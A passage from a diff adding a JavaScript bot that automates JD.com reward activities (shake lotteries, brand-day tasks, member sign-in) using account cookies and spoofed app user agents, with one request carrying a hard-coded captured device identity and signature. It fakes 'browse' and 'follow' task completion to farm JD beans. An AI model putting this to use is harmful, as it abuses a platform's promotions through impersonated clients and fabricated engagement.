br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.leftShakingTimes = data.data.leftShakingTimes;//剩余抽奖次数 + console.log(`京东会员——摇奖次数${$.leftShakingTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//京东会员摇奖API +function vvipclub_shaking_lottery() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&body=%7B%7D`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取京东会员本摇一摇一次免费的次数 +function vvipclub_receive_lottery_times() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_receive_lottery_times`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询多少次机会 +function getFreeTimes() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_luckyBox', { "info": "freeTimes" }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.freeTimes = data.data.freeTimes; + console.log(`摇京豆——摇奖次数${$.freeTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getTask(info) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_lotteryTask', { info, "withItem": true }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskName, taskItemId) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_doTask', { taskName, taskItemId }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shakeBean() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_shaking', { "type": '0' }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`摇奖结果:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版超级本摇一摇 +async function superShakeBean() { + await superBrandMainPage(); + if ($.activityId && $.encryptProjectId) { + await superBrandTaskList(); + await superBrandDoTaskFun(); + await superBrandMainPage(); + await lo(); + } + if ($.ActInfo) { + await fc_getHomeData($.ActInfo);//获取任务列表 + await doShakeTask($.ActInfo);//做任务 + await fc_getHomeData($.ActInfo, true);//做完任务后查询多少次摇奖次数 + await superShakeLottery($.ActInfo);//开始摇奖 + } else { + console.log(`\n\n京东APP首页超级摇一摇:目前暂无活动\n\n`) + } +} +function welcomeHome() { + return new Promise(resolve => { + const data = { + "homeAreaCode": "", + "identity": "88732f840b77821b345bf07fd71f609e6ff12f43", + "fQueryStamp": "", + "globalUIStyle": "9.0.0", + "showCate": "1", + "tSTimes": "", + "geoLast": "", + "geo": "", + "cycFirstTimeStamp": "", + "displayVersion": "9.0.0", + "geoReal": "", + "controlMaterials": "", + "xviewGuideFloor": "index,category,find,cart,home", + "fringe": "", + "receiverGeo": "" + } + const options = { + url: `https://api.m.jd.com/client.action?functionId=welcomeHome`, + // url: `https://api.m.jd.com/client.action?functionId=welcomeHome&body=${escape(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1618538579097&sign=e29d09be25576be52ec22a3bb74d4f86&sv=100`, + // body: `body=${escape(JSON.stringify(data))}`, + body: `body=%7B%22homeAreaCode%22%3A%220%22%2C%22identity%22%3A%2288732f840b77821b345bf07fd71f609e6ff12f43%22%2C%22cycNum%22%3A1%2C%22fQueryStamp%22%3A%221619741900009%22%2C%22globalUIStyle%22%3A%229.0.0%22%2C%22showCate%22%3A%221%22%2C%22tSTimes%22%3A%220%22%2C%22geoLast%22%3A%22K3%252BcQaJxm9FzAm8%252BYHBwQKEMnguxItJAtNhFQOgUkktO5Vmidb%252BfKedLYq%252Fjlnc%252BK0ZsoA8jI8yXkYA6M2L5NYrGdBxZPbV%252FzT%252BU%252BHaCeNg%253D%22%2C%22geo%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXZWjeifB1aM0xH3BWx0YRlyu4eaUsfA3KpuoAraiffcw%253D%253D%22%2C%22cycFirstTimeStamp%22%3A%221619740961090%22%2C%22displayVersion%22%3A%229.0.0%22%2C%22geoReal%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXtnAGs7wzWHMkTSTIEj7qi%22%2C%22controlMaterials%22%3A%22null%22%2C%22xviewGuideFloor%22%3A%22index%2Ccategory%2Cfind%2Ccart%2Chome%22%2C%22fringe%22%3A%221%22%2C%22receiverGeo%22%3A%22mTBeEjk2Q83Kb3%252Fylt2Amm7iguwnhvKDgDnR18TktRpedJcPIHjALOIwGuNKAgau%22%7D&client=apple&clientVersion=9.4.6&d_brand=apple&isBackground=N&joycious=104&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=69cc68677ae63b0a8737602766a0a340&st=1619741900013&sv=111&uts=0f31TVRjBSujckcdxhii7gq9cidRV4uxtCNZpaQs9IOuG5PD2oGme36aUnsUBSyCtrnCzcJjRQzsekOXnNu9XyW4W2UAsnnZ06POovikHhGabI9pwW8ZeJ2vmOBTWqWjA66DWDvRHGVeJeXzsm5xolz7r%2FX0APYfhg8I5QBwgKJfD3hzoXkHcnsGfMhHncRzuC4iOtgVG8L%2FnQyyNwXAJQ%3D%3D&uuid=hjudwgohxzVu96krv%2FT6Hg%3D%3D&wifiBssid=unknown`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1, zh-Hant-CN;q=0.9", + "Connection": "keep-alive", + "Content-Length": "1761", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167588 (iPhone; iOS 14.3; Scale/2.00)" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} welcomeHome API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['floorList'] && data['floorList'].length) { + const shakeFloorNew = data['floorList'].filter(vo => !!vo && vo.type === 'shakeFloorNew')[0]; + const shakeFloorNew2 = data['floorList'].filter(vo => !!vo && vo.type === 'float')[0]; + // console.log('shakeFloorNew2', JSON.stringify(shakeFloorNew2)) + if (shakeFloorNew) { + const jump = shakeFloorNew['jump']; + if (jump && jump.params && jump['params']['url']) { + $.superShakeUrl = jump.params.url;//有活动链接,但活动可能已过期,需做进一步判断 + console.log(`【超级摇一摇】活动链接:${jump.params.url}`); + } + } + if (shakeFloorNew2) { + const jump = shakeFloorNew2['jump']; + if (jump && jump.params && jump['params']['url'].includes('https://h5.m.jd.com/babelDiy/Zeus/2PTXhrEmiMEL3mD419b8Gn9bUBiJ/index.html')) { + console.log(`【超级品牌日】活动链接:${jump.params.url}`); + $.superbrandUrl = jump.params.url; + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=========老版本超级摇一摇================ +function getActInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers:{ + // 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + },async (err,resp,data)=>{ + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\.__FACTORY__TAOYIYAO__STATIC_DATA__ = (.*)}/) + if (data) { + data = JSON.parse(data[1] + '}'); + if (data['pageConfig']) superShakeBeanConfig['superShakeTitle'] = data['pageConfig']['htmlTitle']; + if (data['taskConfig']) { + $.ActInfo = data['taskConfig']['taskAppId']; + console.log(`\n获取【${superShakeBeanConfig['superShakeTitle']}】活动ID成功:${$.ActInfo}\n`); + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} +function fc_getHomeData(appId, flag = false) { + return new Promise(resolve => { + const body = { appId } + const options = taskPostUrl('fc_getHomeData', body) + $.taskVos = []; + $.lotteryNum = 0; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const taskVos = data['data']['result']['taskVos'] || []; + if (flag && $.index === 1) { + superShakeBeanConfig['superShakeBeanFlag'] = true; + superShakeBeanConfig['taskVipName'] = taskVos.filter(vo => !!vo && vo['taskType'] === 21)[0]['taskName']; + } + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.taskVos = taskVos.filter(item => !!item && item['status'] === 1) || []; + $.lotteryNum = parseInt(data['data']['result']['lotteryNum']); + $.lotTaskId = parseInt(data['data']['result']['lotTaskId']); + } else if (data['data']['bizCode'] === 101) { + console.log(`京东APP首页超级摇一摇: ${data['data']['bizMsg']}`); + } + } else { + console.log(`获取超级摇一摇任务数据异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doShakeTask(appId) { + for (let vo of $.taskVos) { + if (vo['taskType'] === 21) { + console.log(`超级摇一摇 ${vo['taskName']} 跳过`); + continue + } + if (vo['taskType'] === 9) { + console.log(`开始做 ${vo['taskName']},等10秒`); + const shoppingActivityVos = vo['shoppingActivityVos']; + for (let task of shoppingActivityVos) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(10000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + if (vo['taskType'] === 1) { + console.log(`开始做 ${vo['taskName']}, 等8秒`); + const followShopVo = vo['followShopVo']; + for (let task of followShopVo) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(9000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + } +} +function fc_collectScore(body) { + return new Promise(resolve => { + const options = taskPostUrl('fc_collectScore', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superShakeLottery(appId) { + if ($.lotteryNum) console.log(`\n\n开始京东APP首页超级摇一摇 摇奖`); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await fc_getLottery(appId);//抽奖 + await $.wait(1000) + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function fc_getLottery(appId) { + return new Promise(resolve => { + const body = {appId, "taskId": $.lotTaskId} + const options = taskPostUrl('fc_getLotteryResult', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['data']['bizCode'] === 0) { + $.myAwardVo = data['data']['result']['myAwardVo']; + if ($.myAwardVo) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.myAwardVo)}`) + if ($.myAwardVo['type'] === 2) { + $.superShakeBeanNum = $.superShakeBeanNum + parseInt($.myAwardVo['jBeanAwardVo']['quantity']); + } + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//===================新版超级本摇一摇============== +function superBrandMainPage() { + return new Promise(resolve => { + const body = {"source":"main"}; + const options = superShakePostUrl('superBrandMainPage', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (data['data']['bizCode'] === '0') { + //superShakeBeanConfig['superShakeUlr'] = jump.params.url; + //console.log(`【超级摇一摇】活动链接:${superShakeBeanConfig['superShakeUlr']}`); + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.activityId = data['data']['result']['activityBaseInfo']['activityId']; + $.encryptProjectId = data['data']['result']['activityBaseInfo']['encryptProjectId']; + $.activityName = data['data']['result']['activityBaseInfo']['activityName']; + $.userStarNum = Number(data['data']['result']['activityUserInfo']['userStarNum']) || 0; + superShakeBeanConfig['superShakeTitle'] = $.activityName; + console.log(`${$.activityName} 当前共有积分:${$.userStarNum},可抽奖:${parseInt($.userStarNum / 100)}次(最多4次摇奖机会)\n`); + } else { + console.log(`\n【新版本 超级摇一摇】获取信息失败:${data['data']['bizMsg']}\n`); + } + } else { + console.log(`获取超级摇一摇信息异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superBrandTaskList() { + return new Promise(resolve => { + $.taskList = []; + const body = {"activityId": $.activityId, "assistInfoFlag": 4, "source": "main"}; + const options = superShakePostUrl('superBrandTaskList', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['code'] === '0' && data['data']['bizCode'] === '0') { + $.taskList = data['data']['result']['taskList']; + $.canLottery = $.taskList.filter(vo => !!vo && vo['assignmentTimesLimit'] === 4)[0]['completionFlag'] + } else { + console.log(`获取超级摇一摇任务异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superBrandDoTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && !vo['completionFlag'] && (vo['assignmentType'] !== 6 && vo['assignmentType'] !== 7 && vo['assignmentType'] !== 0 && vo['assignmentType'] !== 30)); + for (let item of $.taskList) { + if (item['assignmentType'] === 1) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']},需等待${ext['waitDuration']}秒`); + const shoppingActivity = ext['shoppingActivity']; + for (let task of shoppingActivity) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 1, + "source": "main" + }) + await $.wait(1000 * ext['waitDuration']) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 3) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']}`); + const followShop = ext['followShop']; + for (let task of followShop) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 2) { + const { ext } = item; + const assistTaskDetail = ext['assistTaskDetail']; + console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}`) + if (assistTaskDetail['itemId']) $.assigFirends.push({ + itemId: assistTaskDetail['itemId'], + encryptAssignmentId: item['encryptAssignmentId'], + assignmentType: item['assignmentType'], + }); + } + } +} +function superBrandDoTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superBrandDoTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + if (body['assignmentType'] === 2) { + console.log(`助力好友 ${body['itemId']}结果 ${data}`); + } else { + console.log('做任务结果', data); + } + data = JSON.parse(data); + if (data && data['code'] === '0' && data['data']['bizCode'] === '108') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function lo() { + const num = parseInt(($.userStarNum || 0) / 100); + if (!$.canLottery) { + for (let i = 0; i < new Array(num).fill('').length; i++) { + await $.wait(1000); + await superBrandTaskLottery(); + } + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${$.activityName || '超级摇一摇'}:获得${$.superShakeBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function superBrandTaskLottery() { + return new Promise(resolve => { + const body = { "activityId": $.activityId, "source": "main" } + const options = superShakePostUrl('superBrandTaskLottery', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandDoTaskLottery API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['code'] === '0') { + if (data['data']['bizCode'] === "TK000") { + $.rewardComponent = data['data']['result']['rewardComponent']; + if ($.rewardComponent) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) + if ($.rewardComponent.beanList && $.rewardComponent.beanList.length) { + console.log(`获得${$.rewardComponent.beanList[0]['quantity']}京豆`) + $.superShakeBeanNum += parseInt($.rewardComponent.beanList[0]['quantity']); + } + } + } else if (data['data']['bizCode'] === "TK1703") { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } else { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//============超级品牌日============== +async function superbrandShakeBean() { + $.bradCanLottery = true;//是否有超级品牌日活动 + $.bradHasLottery = false;//是否已抽奖 + await qryCompositeMaterials("advertGroup", "04405074", "Brands");//获取品牌活动ID + await superbrand_getHomeData(); + if (!$.bradCanLottery) { + console.log(`【${$.stageName} 超级品牌日】:活动不在进行中`) + return + } + if ($.bradHasLottery) { + console.log(`【${$.stageName} 超级品牌日】:已完成抽奖`) + return + } + await superbrand_getMaterial();//获取完成任务所需的一些ID + await qryCompositeMaterials();//做任务 + await superbrand_getGift();//抽奖 +} +function superbrand_getMaterial() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getMaterial', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getMaterial API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.cmsTaskShopId = result['cmsTaskShopId']; + $.cmsTaskLink = result['cmsTaskLink']; + $.cmsTaskGroupId = result['cmsTaskGroupId']; + console.log(`【cmsTaskGroupId】:${result['cmsTaskGroupId']}`) + } else { + console.log(`超级超级品牌日 ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function qryCompositeMaterials(type = "productGroup", id = $.cmsTaskGroupId, mapTo = "Tasks0") { + return new Promise(resolve => { + const t1 = {type, id, mapTo} + const qryParam = JSON.stringify([t1]); + const body = { + qryParam, + "activityId": $.brandActivityId2, + "pageId": "1411763", + "reqSrc": "jmfe", + "geo": {"lng": "", "lat": ""} + } + const options = taskPostUrl('qryCompositeMaterials', body) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (mapTo === 'Brands') { + $.stageName = data.data.Brands.stageName; + console.log(`\n\n【${$.stageName} brandActivityId】:${data.data.Brands.list[0].extension.copy1}`) + $.brandActivityId = data.data.Brands.list[0].extension.copy1 || $.brandActivityId; + } else { + const { list } = data['data']['Tasks0']; + console.log(`超级品牌日,做关注店铺 任务`) + let body = {"brandActivityId": $.brandActivityId, "taskType": "1", "taskId": $.cmsTaskShopId} + await superbrand_doMyTask(body); + console.log(`超级品牌日,逛品牌会场 任务`) + body = {"brandActivityId": $.brandActivityId, "taskType": "2", "taskId": $.cmsTaskLink} + await superbrand_doMyTask(body); + console.log(`超级品牌日,浏览下方指定商品 任务`) + for (let item of list.slice(0, 3)) { + body = {"brandActivityId": $.brandActivityId, "taskType": "3", "taskId": item['skuId']}; + await superbrand_doMyTask(body); + } + } + } else { + console.log(`qryCompositeMaterials异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//做任务API +function superbrand_doMyTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superbrand_doMyTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_doMyTask API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data) + console.log(`超级品牌日活动做任务结果:${data}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getGift() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getGift', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getGift API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.jpeasList = result['jpeasList']; + if ($.jpeasList && $.jpeasList.length) { + for (let item of $.jpeasList) { + console.log(`超级品牌日 抽奖 获得:${item['quantity']}京豆🐶`); + message += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + if ($.superShakeBeanNum === 0) { + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } else { + allMessage += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } + } + } + } else { + console.log(`超级超级品牌日 抽奖失败: ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 抽奖 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getHomeData() { + return new Promise(resolve => { + const body = {"brandActivityIds": $.brandActivityId} + const options = superShakePostUrl('superbrand_getHomeData', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + if (result && result.length) { + if (result[0]['activityStatus'] === "2" && result[0]['taskVos'].length) $.bradHasLottery = true; + } + } else { + console.log(`超级超级品牌日 getHomeData 失败: ${data['data']['bizMsg']}`) + if (data['data']['bizCode'] === 101) { + $.bradCanLottery = false; + } + } + } else { + console.log(`超级超级品牌日 getHomeData 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=======================京东会员签到======================== +async function shakeSign() { + await pg_channel_page_data(); + if ($.token && $.currSignCursor && $.signStatus === -1) { + const body = {"floorToken": $.token, "dataSourceCode": "signIn", "argMap": { "currSignCursor": $.currSignCursor }}; + const signRes = await pg_interact_interface_invoke(body); + console.log(`京东会员第${$.currSignCursor}天签到结果;${JSON.stringify(signRes)}`) + let beanNum = 0; + if (signRes.success && signRes['data']) { + console.log(`京东会员第${$.currSignCursor}天签到成功。获得${signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum']}京豆\n`) + beanNum = signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum'] + } + if (beanNum) { + message += `\n京东会员签到:获得${beanNum}京豆\n`; + } + } else { + console.log(`京东会员第${$.currSignCursor}天已签到`) + } +} +function pg_channel_page_data() { + const body = { + "paramData":{"token":"dd2fb032-9fa3-493b-8cd0-0d57cd51812d"} + } + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=pg_channel_page_data&body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "api.m.jd.com", + "Cookie": cookie, + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + if (data.success) { + const SIGN_ACT_INFO = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === 'SIGN_ACT_INFO')[0] + $.token = SIGN_ACT_INFO['token']; + if (SIGN_ACT_INFO['floorData']) { + $.currSignCursor = SIGN_ACT_INFO['floorData']['signActInfo']['currSignCursor']; + $.signStatus = SIGN_ACT_INFO['floorData']['signActInfo']['signActCycles'].filter(item => 